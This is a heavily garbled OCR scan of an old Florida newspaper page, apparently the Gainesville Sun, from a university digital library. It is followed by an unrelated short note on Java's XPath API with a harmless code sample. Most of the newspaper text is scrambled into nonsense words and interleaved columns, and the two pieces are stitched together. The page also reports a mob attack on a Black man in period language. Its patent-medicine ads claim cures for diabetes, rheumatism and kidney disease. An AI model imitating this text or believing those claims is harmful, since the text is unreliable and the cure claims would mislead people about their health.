,. r._. t to + Cit,. I.nke ro'iuty .-stns l dij alo;". ..I.h..... t. oJ .1 h:..... ..- Barr. was inform that a .unI7 ,"t. I ,' ' died ni :unlay 'I'eht. I .'.. "..... ... .. ,.t: ., .. ".( wa prrrent fur the purpo-e{ of are = I The circuit fours' "f 1.'a",1 .nng! r.urnett upon the. .ame it ar 6:i> I . ." .. ..tit ,1'.1 ., .\p.'tf" ct 11. tit'I I+, fort, & . f. \ < Nil. .. (tall the Illtll tie. n released. in lira' . 14 Ol.er fur bllMfie ' .II..t..n UII : till 4 r Up ; j .I.! .'' ,ir -i.i .tt ', .ir.- i*. _.r -..nt.R. t i Ittiit :;iritiai.uIs.IPl.trrtt.sa" . I j 4th. with :.'t civil I',.e*. . I 1 1 . -I-! I- MII.| wA.cnugraWlttug, liiineif.. tl.nnItpnty .... : \ : -t- t r: : lliirulc..C "tt1V111 kitIi.Iittrlalt t : \.: t ;\ ::.1. I Mierilt 4Jranier 1'.l',1! | t ie i J ' , , The henT.: of I I' de r.P'infy i. to lw fii-t I i i ji : < suns iitul SLEEH For Over fiirnivli'tl coiile tf tiloifllio-ir.ii.. i :'-'. trip 1.f.: I'r J-I: :' I :ass: :!. R.atI e'iitli: of the !l/Iw. UI"U| RIm arias I.t/.4401 a I ....11Iu.! ir. --. l.ii: :?h..iJaoii: \. V., uuettt I br,ut.lil him to .ill."l1.. lie was IarinI1plntlire: crt ' IJrtler tuke t Malt doferi it a U.itlcreirired . \ arraigned in Jmic Mann'* .court and Auto are n'o'ed! tu j.eed mi tlitreet i Years the numerMi, to."It..r. (beer ar,,i whit.key ..- Thirty uf Paytona al the rate of t.-nmiU I : 1'(111K. t.'l mated I.i.eiui* fron l Cu.tun > whub 4ttticer lrangrrrates; > weretaken an hour. .\ | -tty fa.t I.I'& I .. .. . a few d.|. ago rrlaktnK..I1D IPrr. from his 'd...." wer tiled in I.*k.. City hat le! the ...n.r.le for tbn. 'j-aud he Hour ha. tin'<.ed.. ""'It..nt"I I 1ALWUL . her cement *d..walk... < mod cement in".r. it i.. kn.iwii that their bird will Judge \'.."n r.. |inr.d the defendnt CASTORUDR. walk are the thins; and Lake City i. "" a pair erery ntmittt you cantivure to give. a bond of fj' for him ap wise. up that, there mill. .Nan lx praraoce at the spring term of the circuit DViCT COPY OF WRAPPOi. In speaking of the opening of the Idpnl"f material for "..|lIa"" pie.TheOcala court.It . -ea..ww ----- Ocala Unu.... >aturday night The Star << carnival which i. on this Iia. Iteen .aid that there are *eeeral - .ay* that "the table _.. an epicireanpoem. week, has t: 'I..n.|. that are receinn"t ..eill..,*" at High >{pring. and ." the vote of the uext lower one tn the oflcer.: will make another raid Ih4"1 Talaha! .... ha. two <>andidate up deck. i, the next few day. for mayor F. C tulinore aril Dr Henry The Aueti'tine Metrnr *"y. that t' - I:. Palmer", and a warm content i i. the only way to top the growth of ..hw.c..r TEN ARE INJURED IN COLLISION. ' expected. hyacinth i i. tu shut off the breedint : -Fig'ht MILKS' . Passenger Tram Crash .. , lion. Jame A l>>>onn-lly. British BTJund I) M.m the creek. and Together at Flovllla... ; vice-coosul at.w; Orlean. ha. been branehe. of the main ricer or tream r"o\llla.: apl''' IDt..S to the Tite-coutulate at and make contract with pe'...m. adjacent : .lon h<.re tin re |. .ge| : w" err Auti-Pcdn P1H l'en.aeola.Jue I I thereto to keep ucn creek and mor> or le*.. *..rl".I, ly Injured. Cohurn. proprietor of Karlow'. hr..u..h..* free of the pet and the problem Tl.enu.! r vax =No." 13.: due' fntI..na a ; i* .olted.ttlement. .\ at I' 15 I p. m.. and. the frtiicht. mintrel. t... purchad property at t A ..- wa mad. \londay.y . a .lda".1! | tr.iln fnuii Maron. It w::11take Paytonaand Rill erect a tine wint.rhum. f .. The Orlando KTenini; Star! be an ff.rial 111\.lIloIl1ub to i!."terI . thereThe ......n the >e a board Air Line Hallway I I mine .. ::10 |I.. at f.tult. C.'|" .aln T |i iI nw that Tampa Pi" I a c**. i.f :' Mn.l Mr. Lp*add..r. widow, of the late I I MrN.ilun auil Fna,:In..r di.irMeirk.:! ,i .mallpoT 14 ilfiii"ii. Thrt. are nop I 3er were In rr jrpe if !t... - ., John Lu.adder. who was killed a few 1'3..1' t'l l .rfUiitp| with .tnalllu..s.s Tampa i wreck near Plymouth. train. whit: J MU Slrirklnn: I and E-l:! day ago n> a do,"', want it. I Throujfb the effort of I'r. Abernathyand Thin barro on tli. t rlht: The n-1 j )1,.. Joseph Thomi: of ifafwe: wfotinj .. other a very vatUfartory adjattnent 3ur.>l ar. S p. Strickland l, of Macon; . diad in b.-d Chri* ma. morn j was made for the widow and little i, f: H. lent. of At'.in-a; H. F. \Iirl.' I ln". >he wa ..:1 y>.ar. old and hail j daughter. pert of .\t..una : i-. .\ .\.!ani*. t>f .'t! !>* "n in .onh..alth. lanta ; J. T. Smith, of J.lrs..n. H\.. MD.AMI...... ... Ale* SH'rke. a np.r.) haektnnn. narrowly pnM J. -.s. nol..r Hern.Ion and l'eas' J i St 1'.t..r.hurll i I. .o b>tT putting upnew ...."S..IIJnC".lna' at the hand of . e ; HarrU. )ttt: =N" .111.!! .t..au.tun: f.f> 1t;.)i'iIAtl.u'li Cure Headache tiuiiiim. that they don't harrtim. f I. of infuriated white . party men at : : ..tr td. .\.a".I.: aaa .. Ilt.I! ! f> to .Icol'| "ii Tampa , j negro In'I: i..1..1.I Almost and leave ban tuun.i. whfii they arrit .*. I Jame iaffunl. a white drirer instantly BO } The o,ala "ttr .aj. tlat: Marion I' of a furniture wagon, over the head I I Magnolia; Inn I* Burned. effects. They also relieve every other county must linv. a tires court houe. i I with a heavy piece of iron rod itiHictin 1':1: rrr." a,"... /a.: 1"'(" :" .-)J.' nn'lI ;\ pain, Neuralgia, Rheumatic Pain, 8.... if not t>y one w ty. it will hnv to b.* by i I I A; what may prore. a fatal wound.The I fn: 'h.. r-oir... ofI. T. <;r.ir aI: atica, Backache, Stomach acne, Aa8e another. >ti<>k to it. hrninrr.The I negro ran. but wa overtaken. by j f.inil:\'. n.u !h. .n ror'.iiii'. .1 t by flr.. Pains Pains from Injury ; i i white whit I it far :n: '''.''''''''r''l I PtHtlt. t "to ..'rtackrr : , J" onTille t.po.itln": will I half a lnen men, drigged: I kill :.' fl-i !bmkn out In the Jolrrl.. n and l down pains, :Indigestion, DID hint into an .1I..lhr..I..nilll: to a. have a rue dity on Tuesday. .lautiarybth I fr- or:g'n/:: of It |I- unknown The In** Nervousness and Sleep] f - * l when the .whol ,le ir.>Cer. trill ; him. .\ crnwd gathered and the men Mj-'alrtd: was $ :.IWM*. wi't l > insurance! harr a day! of it for their |>atron.. j I :'liinlly deliTerrd the! prisoner to the ..f $iii'.>. The bin! !ihiff was totally: Attorney Macfarlnue of Tampa ha I reVhiIe. I .f.! "'r.1.1 but .i.m. fir rt.> .. !f wr-.-nat tf been civen a verdict for the full" \ arcing the part of manta (Clau 1"-r!. uf the lnm.it" v tr.' fav.l. amount of hi- fee in the tnt. against 'j \\.In..*...' night at a ('hrs.Pmt. treeiiireit , '. Pr. II J. llanipfin. amounting to by the, :'un:lay hool of the Seal' en Refunding Bond.. I ills r i i. to;T7 TOThere East:, i I'rid: |Harci.t (Church Pen ac"I".1 I Zinn'ent.ry.: Ala: IK.... 2i .--HI,* . are now %U" it *. .P men enipJoyett I* I'I smith w". hilly: b'irned .la lIlt I r..II ) ..f ..tar! bat JMJ the .iairif : } ;+ tiy th- Kn; /'n..t Hotel lu at r the neck and face and hi. c..ulitinn'' on n.; n.'w 1)nnlt 'n r"n.1 'h.' j14'I I . Miami, writ wi.t.& ..M.n t t.e p'jt to work ( ref'orteil ... bellitr quite' .ritlll.. )1.1 |'..,.: M.I. due the nrat day| of J.mti' .ar.ra I on the estensionif, ttr railroad, > to'' .mill truer a mask of N hi,.ker 11..1..1. l :.Try Th? v. w.f "aar..t .bv tao o.1 :-.;; :-.;; - KeyVe.t. nf cotton and.1A.. taking I.....eiit* from the t ui"'na1"1) T''v acre t t."nci! by the FIrst: Nflor.al ., . i *t ti..orl"tr..t in-: .Vue'Mtine, i. i io i : tree and drlnrerini. i a them to the ('" hank. of ihU rl-y for to l ::. T'i'y', IwNerve Pia r'' narrow th.t the city authorities will tlr,,". when thrcuttotls'sght frotn arc three and a half per ci ut t''' 'artLorrber , nut allow" fehicle; to i" *. only lo the ii-I U.... I Pain U to follow tral. <<"n.' I. !Immediately the entire ma \ tare say: - m. north nl,,it|> that Ihnr,"'itfMr.- m Waence> apoa tbe oern& It nayrexertion .. sacral "". a ma. of Maine and! !l. -fnr" \ : 1 raid t.lOOka.I.. t tIn ; beat. iatca tnenfai sleet, ' Company Loses by Fire. iouil! be remored he had *u:ered a colored ..I Ifxin row at I'entaonl* | I.ufkln. Tx. D.T. :'. -The bit! say: .'........' digestion or any cans Uutt dmpesaas -.:;; l.d:1flll.arnA.| .: agitates the ncrrca. So acaaithr era ..._ tti Monil.iy: a recro n''nied! lnlnn: ..on tired .\ colored m.n with h.I.J.ua.. in tilt j jh.t n> !' of iiP: l Ix nc'x-.I! :! I.iitnb. r rurnr" '"' 'S: least pressure or strata teases ..lselal: _ a bull*.t at one named" hran; The arid a Jill in hi* hand. eamr.tnvu i ithe of Kar-a! C'lfy. Mo :".' 3'.1 h,'rc. a.i- \s.' inir. strenetheniav aa4 seIe58 re atlew.. hall imply tore the ..callbut' niter I IJtit !o.trn"l. -h.- los: ','.'n?' ajr r ixlmatr: ". Miles' AatT-Paia Pill renews ttls p. crac.d: thr.kult. I I afreet aljut : oVlocX last nieht. j-.n: .'''.rt. Iurrbrr ItIl.S p'mer-:: :' irrated I \\k They are sold by drvvarautee .gIetas. a.. .... t3tar. i a. hi* foot shoes:' the sidewalk. at j .. -: ': ( that the first bolt tail - r _ Nt:'1> .'1 /i..glrr. .\ri.t (*hanlblist'. !bank the Juge.rarrd i ii Ltb clt.i f'n. after a tarj; ............1" rciua Ud. Never aold !. bad -- " nstt:: : sun (Ileeve: of J'.I..n\"ll! are (wing I i << hi* hand bit th. ptrement j jihattered I ; i IIlLKS MEDICAl co. _ held in that city in await' the action of and at least three quart! uf . the grind, jury being charged with liquor that would haTe torn: the hair ...au.mt{ the death tif John .Irnkin itTadog'* hack waited! it. tire harmon GRIND I :-.lIll'haJ'flllan and the .1. C. I. bnifca Ir.*ly the paretnent .\. the liquor !' ABSTRACT & REALTY COMPANY I in the dark... heart I the y' ;eui:tU at < rlaiid P had a miX* \\..ilne..IHJT afternoon. and Kol: .rs.on. j 'evaporated and he 1..1| on. the'' the baciface, .,n..h..r. parked Chapman 'ipnnggoiie rum hi* foottep and the I Laxative Fruit Syrup hi. .. |raring the batter I " s billy with a kruf- that h. couIJn't iaht! from ,- E. E. VOYLE. MGrR. I'll frairment ami the .na..lIl.) tell the leeaant to take tell bow it happened : .tory> of hi* l bl!i....d hop- -( I> t* I'ell'. .<| 1.t." farm at < Irl.Dluj [>ece nb ..r .M The new laxative. Doea ,. Our manager ha lived in thia coantr thirty titan mmti I not i I. thoroughly conversant with laud title. gripe or nauseate. Greatly' in Demand. INothing :; cu..... :; i* 'in more demand than a' Cures stomach and Uver R r ;1of c 2d ;..e: I nedicine whih meet modern require troubles and chronic constipation E. E.VO :y: LE.FIRE . nent" for a 1.1')011 l nne7.tpm! cl..n..r. by restoring the BANI DEPOSIT ;such an Iii.King'rw life Pill. They natural action of the stomach ACCIDE iT. BURGLARY AND INDEMNITY IN8URA2CCZ. R.pr ' $5,000 R.A.fJr.1.Q.NotetT.4rBcmr : what you nerd to cure! .tomaeb( entice k number of prominent American and EngUah w........... 1100 ,'..1:1t: coe."I. :" I IJa' I ire just truuble Try th"mt all liver and bowels.For REAL EHTATK AND CITY LOANS. rC3siaeevi ind liver Cc . I .rlt.c;:; alca scast. ."'MII.uscou.a.-.c-I drug tore. .",e Ruaranteed. Sale by J. W. HcCellaM C*. : A : a 8''lori d.a rh i'I ,, hr . . ,: .:... -- .- ., . ,.,tMyi r . . . 8 THE GAINESVILLE SUN: JANUARY 1. ISMifi _ - -- -- - -- - - --- - -- - -- --- -- --- - -- - - --- - - > - - - - - - - I X .\. Cllioa k.. returned from FrY. "" .. of high I SIOLEY HOME SOLD I | "" 1f' rMilJI itlH: j Little )Ii.* Ito>*a L Rives NEWS OF CITY AND J Yt...Til... G* .thr h. h.. -.n on Luther Taylor of Archer" wa in the S pribg i I. in the city a .*....' *' rays' 'I. brief visit. to hi* fnvt.d J. T is-: cilocic ity J-.rda t a'lhs. she i i. en ri.'*'e I.nrufranl Famous Ohio Pn"*idsn Purchases Os- CWMTY CONDENSED I ': Mr, la.lok! u.n. u...*.iflevat |I I Jo', liaiiey of Newberry was i in the, I J! ;Micanojy.' where sic t... l...en .n aj sirsble Residence Her l testate *. Yt...nll.. and. Mr Ca'.ii'on: City yesterday. I visit for the pest few ds>.. M.. Iu.a I',. \\'. II :?"t.t,...,. who fur several .151..at.Uaia.agreat. many f fen J* '. Lee is a charmir-g character fu-1- of years. ha. ..wi.rd and occupied one of Chat E Haileof .\I.L"t.u. In IhpI IIaUIn of eun1 InUrtml Oathby .. 11,. Emerson the celebrated- Boston'educator was g''"o.j humor ant makes friends the neatest homes in L:;*.t Gaine.rille, . city yesterday.lraoul >> OBT XLaTportgn.PKItSOMAl. after ton the famous colj I.I I |, wherever *fte g'>p.'i has sold the same to I'r spencer. a j lege i i. named, is now endr.Q a f.w ( books at reduced prices aVijai' t noted eclectic |.hy.icia' of Ohio, who Miss Lor.a MeCredif of Mieanopy.the . d -- {days with Ms wife at tae BlalockI drug store. has decided to locate l ....r.. l>r. and of JsmesMcCrtdie. I charming little daughter AND SOCIAL. ITEMS homestead. : A I* S-mmor of Cell was transacting Mrs. Spencer hafv been ia the city for II' was in the city yesterday.ao . I : : businese in this yesterday 'I I ., with Mrs. R. H Miss Irene McCreary. who is attetding city spent the day with )fr.. Je.se E. !some time supping ) :' titili5t H.a V r>,'I*.e4eRd Whet to Go***; Bandolph-Uacon College for Wo Miss Natalye Black of Hague: was a'j. Il6r'2. tier cousin. )Ir. McCredie' the AruuM. It was their first visit to r ba ....... ToM In $HaM ParacrapfceMar I' men Ly neb bo rg. Va has arrived in visitor to friends in this city jester father of the young lady is one of the orid.. and they were attracted by .. Tbat 'efts WM Rwrs 1lee4'" the city and for the next two or three II.J I oldest sn-i mot<< valued friends of This the advantages of Gainesville st IIn.. tots days will be the guest of her larents. II E. Pournell of Fort White was, Sun. I.'hbP"D a regular subscriber clean moral toil educational city, Hon and )I,... H. If. McCreary. It I. transacting business in this city ,... fur the with the result that they purchased ia.t twenty years 1 rfst hldl+t'. D aVy ati.s.flab. needless add that her numerous t end a,. .1 tickets here. They hare met many of ..I testa at ....... price* atVsfePa friends here are delighted to greet her Joel I W. Tucker Jr.. formerly of this our people and have been so royally J II. and \\.F. of LsCrosfewere Hines eity but new engaged m the naval draw ...... ...iD. Miss McCreary' has Jst concluded received and entertained in our homes transacting bntinsss in this '' cityyesterday. stores business South Florida, where ., rtrey X. ......, or New Rivsr ...I a visit with Hon. Frank Clark that they decided Gainesville was a his frietds will be learn fce i isprospering *. tb* etty wi .......* ........ and family to Washington during glad to .pretty good place to live. ," Desiring J. C. Pupe of Fort White is visiting left yesterday for Okahampka. - '"- w.... ..UI.C eabool book at re- which she was most cordially entertained .. to settle permanently I'r. Spencer the family of R. B. Peeler. Soutt.o.lh."ill. . where he has ....r..I..ln.r. dtrsM ........ VldaJ'" d rag store. bbs states that the weather + purchased the Mbley place, and has .. ests. Mr.I Tucker Okahompka was en n.Qt..o - T. gteabeaa of Alaeboa wa wa delightfully pleasant during her J also arranged with I'r. Sibley to begin .., la the National Capital.J. Lon Edwards of Irvine, manager rtf I frtm Archer where he ha* practice in his oltice. East Main street I. ...... in . L. the =: ': \a eity p sI.rder beeu un a Visit lu his wife.A. . I. )I. Turner of Lake View, one of the Irvine crate factory, was in the N' ,.rth. He will assume charge of 'h.omel" . city B. Chitty is Hot yesterday. tbe successful now at Springs at once.Dr. . cost farmers In the M*. sad sling F. B. Carl of Archer ia the Miss M. L Kerr a charming It will be remembered that )1 r. Chilty fcibley.& who is one of the oM: and county, wa ctrl yesterday, having young ...... aiaeevllte wills visit ,.*..,- stricken with come to bring some pork to the lady of Archer wa shopping in th* was recently a severe most widely known citiiens and physicians .... illness, and eoof oed to his bed for market. He has just returned from city yesterday. was has not yet decided whetherhe O.ttstp Seiresyor.I.... Crextoa. af several Hamossassa.. where he visited the Yu- 3. C. Stokes, a progressive planter of weeks. The physician f'f't"Om.' would ,remain in Gainesville or seek y _1S3p1 ... bar. .. Octal. bale* mended Hot Si rings, and he went lee plantation" and saw among other Jonesville. visited Gainesville business a more extended field, His practice ZsIM..t. ancient appliance of th. farm aniosmease yetrday. there nod has reeeived great benefit.' here is large, but he feels that he ,._ B. CUe sad grandson. Tarn mill His friends will be pleased at the i ia aad another can sugar boiler M, Formaa Alachaa has returned might enter territory more .... ..... .. tbe from. Alacboa formation that he is getting along! .. stay ...... he ... told were ia service to his horn, after spending a coopss of thickly populated and increase the JI,- ..... sourly .....-Quan.n of a ceatury day ia this city. nicety same. He may decide to locate in L w. Mw., ,.. MtvaJ .tore* op- ago He ctates that they' were la a R. F. Sheppard and !familv are now Jacksonville. but in the event. that he T Z. Cason and J. A. Brlce of IlanOrovs d .q ......sf ...... ... ....JMee visitor remarkable tate of preservation, and pleasantly located in the Dye .. doe. not. will open another office here. were those who visited M Aa1.sai1M ystsrdq. that the kettle at the time be aw it Gainesville among North Gainesville. Mr. Dye who ha* The people of Gainesville welcomeDr. 1 HR J. D. ........ ... ..lid...* of eoatalaed .."ral gallons of water yecterday.Ns been employed aa bookkeeper for the and )I,... Spencer to Gainesville. .4 S-1_.. O.. are ... g..... at Mr. which appeared to bare been standing Davidson of High Spring wa* J. R Eddin Company, has accepted a and hop. they will continue to be wellpleased. & N J ..... ... Oalaaaem. for some time.Vows in the city on bosiness yeeterday. Hei position in Georgia and will move his / JffafwreTejr'. Dmftjf S..... i i. a successful young merchant of thatplace. family there. Gainesville. friends will I Cured His Mother of riheumatitm. - aba jgamjaiaa Atoehaa aeoaaastal . ..............-.,. ....,- School books at reduced price ..1Vidal. N Pearce of wish regret them very much much to give them Up. but ")ly mother has Gees a sufferer for Leroy Alachna. one of happiness in their 4 rF ... a Dvawta.. drag store. many years from rheumatism." saysW. th. leading merchant. of that city, new home.The . K. F. '.1....' of Archer a H. Howard of Husband Pa. "At : ....s/tys r... af ....... .b. la at.ka earpeaterla wa among those who paid Gainesville temperance lectures delivered. inthis + tbe employ of tbe Dutton Phosphate times she was unable to move at all ...... UaJvweaft Alp School a visit yetrdy.G. . . city on Thursday and Fridayevenings Co.. ... la the sill yesterday. while at all times walking was painful. t is.. b a.sssssd ,... a brief Ttelt toto . M. Devil! of Bronfcer. Bradford by Rev. W. T. Bundiek 01AII.o' I her with bottle of Chamberlain's presented a 1111 Mtiaw.0.ll.lat. : Mr. P. C. Wind *f Live Oak .... arrived county, wa Ia the city yesterday o. .. Ga were somewhat poorlyattended ) Pal. Balm la ... city sad for the ..., few and after a few .utee. wbo ba .... businesa connected witb the United on account of th* Christmas' applications she decided it day will be tbe of her ,. wa them ....... .....,_ .... slip for tbatatajrawd Mr. aad Mr. L. guest A. Jemlgan. gas aq. State land office. .season although both were ably prepared st wonderful pam relie.ersAe had p111 slats daps. to bto boms John Kite of Hague W. T. MeLen- and delivered' in a convincingmanner. ever tried in fact she ia never without I Dr. L. Moatgomery of Micanopy.aecompaaled dna of Alaehua and R. 8. Bradley ofWaeahoota The music wa in charge ol It now and i i. at all times able to walk. ! is .... --1 sad 0...,. .... by little busses Anna were among those whorisited Mrs. Maretta Brooks and wa a pleas An occasional application of Pain Balm s.dM.tl hs ....... ....* tbeywitb Laurie Pardee and Panllae Carlton Gainesville on business yester ant feature.Mrs. keep' troubled away the pain"that she was formerly o were visitor to Gaineevlll with For sale by alt ..... .pace.... pl.sss.tly rela-. yesterday.Attention R. A. Becker gave. an informal 1 druggists. Ilws.att ........ to called to the change of day.An agreeable movement of the bow reception. to a number of her lady A.r.7 w ........ ........*to thto adverttoemeat of tb. Gainesville Fur- .1.1 without any unpleasant effect I I.prod. I. friends on Saturday from 3 to 6 p. m.. Then ally ..6. D. r....... sad .W. D. Fla- allure Company In Ibis I.... Thin ...... by Chamberlain'. Stomach in honor of her .i.t.r.in>lsw. )Ire. w- or or-. Tb y .... TbIna company I. offering some floe bargain and Liver Tablet.. For salt by all Florence li.lmour-RoS.ell of J.-It.oa. M ... .w. "' 1. la cot!' druggist*. ville. who with her two children a J. B. Fisher and daughter Ml. Dora the guests of Mrs. Besker The _ : .... --.u. Buiagf flow. who from near Tampa are. stopping with Mr. and Mrs. L. W'. Jackson formerly was a very' pleasant one. .. occasion )'n. SJ.THOMASCOHardware Ihr bas ......... tbo Agnee* Seott ,.. foruser's brother H. A. Fisher of of this city' but now residing i in Russell formerly resided in this . ',I J .T.11. .....,. Ga. arrived home North Oalaecville. Mr. Fisher I i. well Ocala. are in the city on a visit to relatives. and has many friends here' she riiy r J.M.Mst ....... ... holiday pleased. with oar city, and will probably They are gladly welcomed by glad to meet was 8 >....... Vewabto ., A.....'. oa. of I make It his future brme. their friend here. Joseph MeArthur. formerly of this 1.. .u.5sf.l.oval Move sad Ism W. are la a position to furnish flrstelas After n pleasant visit to his wife& city but now residing in J r. rarw' xxl.ia . Ms_.........* ., ibis ..I.... vac bean,cuke and lettuce hampers.also who I.i spending: a few day with her ( after few days pleasantly Mss la b...... to tbto city lee cboge sad cantaloupe crate. parents. Col. and )'n. I. E. Webster with friend here. during which spent time . in this clay C. F. Merritt !,.. ....... promptly at reasonable price' and his home at Lakeland returnedto he spent a while at the Italic house andBuilders" Hawry O. Fata*, who toft vral guarantee prompt shipment on all eon- arty, returned to his home jv.lerday. .n5b. far Part Gain**. Oa DoAbbavilla. tract. Ship either A. C. L. or S. A. L. For Rent-To a responsible party Joe is a "clever fellow" and hit Material t railroad.. Will 1st 123 acre of land under good fence on Manufacturing s tbss sd Ala. sad other friends are always glad to greet him *f All KlB* at passes a* .......*. baa returned. to4bJety. Co.. Williston. Fla. Hammock Ridge. Suitable' for growing here. He states that hi. father and > Mr. and )Ir.. William Beck have returned l melons, cantaloupes or com. Apply family are doing nicely, which will te I.OTVEVT: PRI'Ee.y . / W......, deed sad mortgage. blaak to the city, after a pleaaantvisit to W. F. Rite Sydney Fla. pleasing to their friends here.J. . 11.... as ......... tbe form ward la to the former' parent at Long Waterman Johnson of Micanopy. H, A. llannager of Jacksonville wa* A...._ _.* ..... eves ....., la Pond. Levy county. Mr. Beck statesthat (e. Baa. of Kvinston. liraham Carter ofLevyvill in Ih. city yesterday, accompanied t. 'r ......... 99 per bead.. or Ill. ps r tbe farmer of that eeetion have and Green Chair of Old his friend John P. Lynch of Fairbanks sees. ...... CuIa.oaa raised plenty of cereal. and other cropsand Town wen among those who came toOain , by" .... ....y proprietor of the new cypress Brick Lime. meat, and a* a eonecquence' will I .*ville on business yesterday.C. Cement. .afar. darters mill. Mr. Hannagsr; is an .'hele'. of .... ... ..... to Gainesville you >* independent for the next year.E. Rain of Archer wa* in the city' reputation and scored a record .. see. ... ....,.. to aiaba oar Mora yourbaojoaartora. William, for some time cashier yesterday. Mr. Rain i i. an old friend ood-ba.rm.owltAtheJayf last season Plaster W. bat holiday good. I. tbe office of the Southern E.p,... I and subscriber of The Bun and called lie is spending a few months with Mr.Lynch . Baylor. ........ book, ...,....".. Company at this point, but later messenger I at this office for the purpo4>f renewing who i* a personal friend at bet ... .w drlak. .&.. A. L. Vnlaldi between High Spring and Roe i iehel hi. ubeeriptioo. II. i* always a Fairbanks, and in the meantime will' 0-,..,. :.. having stood a successful civil 'welcome visitor. act us Mr. Lynch's bookkeeper Shingles Nails Locks. .. Jobs W. sad W. U. K. IUb. twoaaaaasfal "'.Ie. examination, ha resigned toaccept Mr. and Mr*. Mitchell Edwards d )I,.. T. \Iekol.! n.. Mis. Telie King: : a position la the railway mail j children. who have Iwen visiting relatives ha. arrived in the ; ..... atoat.r* at Taeoma.woro city from Southampton Paints ..".... Hi frieads Oils. aomerou here in North ......,.. .......* to Oala.*Till* Gainesville, have re- Beach, L. I., and will spend a y......... Yby. ....pI.l. of ..f'ee- will be glad to know' that he was suc tamed to their home in New Mmyrna.Mr. Jay or two here with the family of C. ....fol. Mr. ,II.m.: will be and )I,.. Edward sacs well were C. l'.d, who 1. iek. i i. her uncle. . slv.ala.1s "lr **a.lo.. wbl h will the ex Glass. >... s ....... to ....*d.rably damap ceedsd on hi* expres run by C. S. pleated with Gainesville. peels tit make her departure tonnor ... aroaa.Gaaaty. Ireland, I. C. Manning has moved from Paradi > row fnr MontbrooL. where she will Bapariatoadvat of School ----- - --- --- ---- -- i.. t." North Gainesville. and ia now visit her mother )1,.. Sladea/ R. Etc. o[ <,c.'UriD.lh.. Kyer place. He ex- ).,.. Nichols i i. accompanied by her Dr. J. L. Kll y baa "..atly. materially READ THIS. l wets to engage in general farmingand : two pretty children who have been Improrrd u.. appoaraaea of hi* born there .. oc" living here the home DiKrn Tr:*! June 1. 11>>1. I will no doubt prove successful a* .... by laatalliaff a baadomodru.- of h.rehildhoc.od.o'h.' .. i Ie glad to Hr. K. "'. ".11. S,. Ix>oU. Mo.-Ixr I the Itayer place is one of the most fertile to her old home, and return (.t. Tbia "nap t will alto ha tadtay to maka tba room' more anm sirs One bottle of your Tex** Wonder. I in this ..cla:>>n.4. equally glad to see hr. It will pay you to get our fartabla sad ...."..1 la Inelcmentvoatbor. Hall'. Oren Discovery ht cured !- 15. Kennard has. returned. to the (prices. me of kidney trouble and tome back city from "'..It .:n". where he ha election of Officers. .J. R. Em.roa and party of \VrtViraiaiaaa and I can cheerfully recommend it. I been on business fur the pact few' Colfai 1.t ek.h Ixxlge No. :. I. OF . Your truly, I day.. Mr. KenuarU has accepted I a < e. . held the elaction. of otticer Friday . ..... , .naed ' *' from .lal t . JAIK )1'0.181:, Merchant. with tHe evening, which wa .. follows position Singer Sewing Machine : to tba fotmra ... .USH. TUr oranjc* )1,*. ).. r.. : .undu'. \' 5. T"O"15" ((0. Company, and will assume his G. ; Miss ..... at Xi ....... Maay of the party . A TEXAS . 'laud..ill. WONDER. V bad ....r .... .. onaff grov. bvfor I duties! on the ht proximo Cuhmau. ii ; )Ir.. C A. . treasurer. Mi.. II attic . .ad wen. ....pl I.'.,..t.... Th. en ODe small bottle of the Tex** Wonder W. 1', !Iou I..,. of Orange Height, era. secretary. a ether officer to. be Hog annonnced I GAINESVILLE FLORIDA. , sirs party waa well pUaacd with theJra Hall'. Orent Discovery, cure all ,one of the progressive: farmer of that later. I - ;, party. was well pl..*... with the kidney and bladder trouble. remove 11 *section was trading in the city '..I..r. The installation will& l>e held at theneit I ... attar' aa well aa the boepitahty of MrErnst. .....1.core diabete *eminal 'day. Mr. Itoulware states that hi* regular meeting Friday evening. t. the &th .... .ion*, weak and lam back, ..lDia.j':neighbors have all been prosperous prnx LX&Mfat :- W. T. Merchant of Meredith was tim and all irregularitie. of the ,during the year Just closing, and expect leasant and Most Effective. ':: : + among the** who visited lb. city yes aey'* and bladder in both men a good yield next year T. J. Chamber. Editor Vindicator ' terday. H. ... accompanied by hi u I women regulates. bladder trouble 'inchildren. A It. *liaw of Old Town LaFayettecounty Liberty, Texas, writes sera 2). iJ2 1 : : : w.WIIIDT .,........ ia Iaw I If not sold by your druggut. , j Tboma Holme of With Irasure and - will be sent by mail on receipt of 91. was here yesterday on business unsolicited I.J "- J .a; ....... Kdgeflotd 8. C. who to spending connected with the United Slates you I beer testimony tn the curativirower a wbito with hi. ."'.n. Mdame* One small bottle is Iwo months* treatmeat land ..ftleo... Mr I Shaw is one of th Coldest elf I'.sltard's llnrehouttd :Syrup. t e they are the best Merabaat sad 8. J. N.... at Meredith and seldom fails to perfect I A.rr In the land used aura. Dr. Ernest W. Hall sole man. and must widely known residents it in my ftnuly' and can for the money ! , Tbto to Mr. Holm.*'. aeeoad visit to .. .,.,. P. U. boa *.n. St. Lo.... )i1). of that town, and has a great cheerfully ire. affirm it is the mn t effeet Ask your dealer) for the and l best x Florida sad bo expreesed blmlfas lend for ....hDoral.I.. Sold by J. W. friends throughout Alaehua remedy for ifingtis." cord' ' many I " A Co. have ever used. old by 11'. 31. Sunny .Tim" Shoe and infilst . bola ..u. ..... witb... sooatry.r McCollnt I county, J bDfOb. on >netting it. -- . . - .: .+ Contact Us | Permissions | Preferences | Technical Aspects | Statistics | Internal | Privacy Policy © 2004 - 2011 University of Florida George A. Smathers Libraries.All rights reserved. Acceptable Use, Copyright, and Disclaimer Statement Powered by SobekCM
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https://ufdc.ufl.edu/UF00079930/00006
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CC-MAIN-2019-51
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refinedweb
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What.
In case your not familiar with the XPath API in JAXP, see its Package Description. Here is a simple example borrowed from the Japex source code:
XPath query = XPathFactory.newInstance().newXPath(); query.setNamespaceContext(new NamespaceContext() { public String getNamespaceURI(String prefix) { return prefix.equals("reg") ? "" : null; } public String getPrefix(String namespaceURI) { return null; } public Iterator getPrefixes(String namespaceURI) { return null; } }); // Find the value of the notify attribute Object o = query.evaluate("/reg:regressionReport/@notify", dom.getNode(), XPathConstants.STRING); // Is notification needed? if (o.equals("true")) { // do something }
